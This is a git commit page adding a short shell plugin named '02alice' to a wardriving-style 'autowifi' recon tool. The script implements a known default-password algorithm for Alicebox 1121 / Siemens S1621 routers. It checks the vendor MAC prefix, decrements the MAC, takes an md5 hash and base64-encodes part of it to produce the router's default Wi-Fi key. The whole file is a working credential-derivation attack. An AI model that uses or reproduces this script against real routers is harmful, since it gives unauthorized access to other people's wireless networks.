diff options
author | makefu <github@syntax-fehler.de> | 2014-12-20 22:49:58 +0100 |
---|---|---|
committer | makefu <github@syntax-fehler.de> | 2014-12-20 22:49:58 +0100 |
commit | b7ea9e035a729186afb57894891d3bdec43aa9ae (patch) | |
tree | 1d56cf8e00c536da4ecd4a2dff333b2b6233b9b9 /recon/autowifi/plugins/02alice | |
parent | d9cb390f1d29b2ff11ac0c3deae093f4d5232d54 (diff) | |
parent | f0ee1f2a63be9238506ec15da655a6077caaa807 (diff) |
Merge branch 'master' of ssh://github.com/krebscode/painload
Diffstat (limited to 'recon/autowifi/plugins/02alice')
-rwxr-xr-x | recon/autowifi/plugins/02alice | 20 |
1 files changed, 20 insertions, 0 deletions
diff --git a/recon/autowifi/plugins/02alice b/recon/autowifi/plugins/02alice new file mode 100755 index 00000000..65ab34b1 --- /dev/null +++ b/recon/autowifi/plugins/02alice @@ -0,0 +1,20 @@ +#!/bin/sh +# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm: +# Based on Poc from +# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html +# +# +# ESSID MAC CHANNEL ENCRYPTION + +cd $(dirname $(readlink -f $0)) +. ./plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1 + +# printf always makes string to lower, need that for correct md5sum +ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) +TMP=$(printf $ETHMAC | md5sum) +printf ${TMP:0:12} | base64 +exit 0 |